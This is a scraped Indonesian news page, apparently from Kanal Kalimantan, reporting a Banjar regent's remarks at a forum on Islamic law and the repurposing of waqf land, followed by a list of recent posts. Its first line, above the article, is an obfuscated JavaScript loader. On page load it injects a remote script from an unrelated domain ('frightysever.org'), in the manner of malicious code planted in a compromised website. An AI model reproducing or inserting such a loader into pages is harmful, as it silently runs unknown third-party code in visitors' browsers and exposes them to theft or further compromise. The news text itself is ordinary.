(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Wakaf Konsumtif Menjadi Wakaf Produktif


MARTAPURA, Islam memberikan kesempatan seluas-luasnya kepada para pemeluknya untuk melakukan amal perbuatan yang baik dengan berbagai macam cara yang telah disyariatkan dalam agama. Satu di antara perbuatan amal shaleh tersebut ialah perbuatan mewakafkan tanah.

Hal itu disampaikan oleh Bupati Banjar KH Khalilurrahman saat pembukaan Bahtsul Masail tentang alih fungsi objek wakaf dalam perspektif hukum Islam di gedung Islamic Center Mufti Tuan Guru Besar HM Djazouli Seman Martapura, Kamis (28/12).

Bupati Banjar mendukung dan menyambut baik atas terlaksananya acara Bahtsul Masail  tentang alih fungsi objek wakaf dalam perspektif hukum Islam guna memperluas wawasan masyarakat terhadap wakaf.

Ia mengharapkan masyarakat mengerti serta memahami  bagaimana mengelola wakaf untuk kepentingan umat menurut Undang-Undang Republik Indonesia dan Hukum Islam.

“Mudah-mudahan bisa bermanfaat dan memberi kebaikan untuk dunia dan akhirat,” ucapnya.

Bupati Banjar meminta peninggalan wakaf seperti tanah wakaf yang ada di Kabupaten Banjar bisa tertib administrasi dengan dibuatkan dokumen dan dikelola dengan sebaik mungkin.

“Jangan sampai kedepan tanah wakaf itu bakal jadi sebuah masalah,” tegasnya.

Wakil Ketua MUM Kabupaten Banjar HM Quzwini mengemukakan, di Kalimantan Selatan saat ini peruntukan tanah wakaf lebih banyak untuk konsumtif, seperti untuk rumah ibadah, tempat pendidikan dan pekuburan. “Tapi sekarang sudah mulai diarahkan kepada sosial seperti jalan yang digunakan untuk kepentingan lalu lintas bersama,” ucapnya.

Lebih lanjut HM Quzwini, pemerintah saat ini mendorong wakaf konsumtif menjadi wakaf produktif. “Saat ini tanah-tanah kosong yang diwakafkan dibangun supermarket atau perkebunan dan hasilnya dikembalikan lagi untuk pendidikan dan kegiatan sosial, ini lebih besar manfaatnya dari yang sebelumnya,” urainya. (hendera)

Foto : hendera

 

Reporter : Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

12 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

14 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.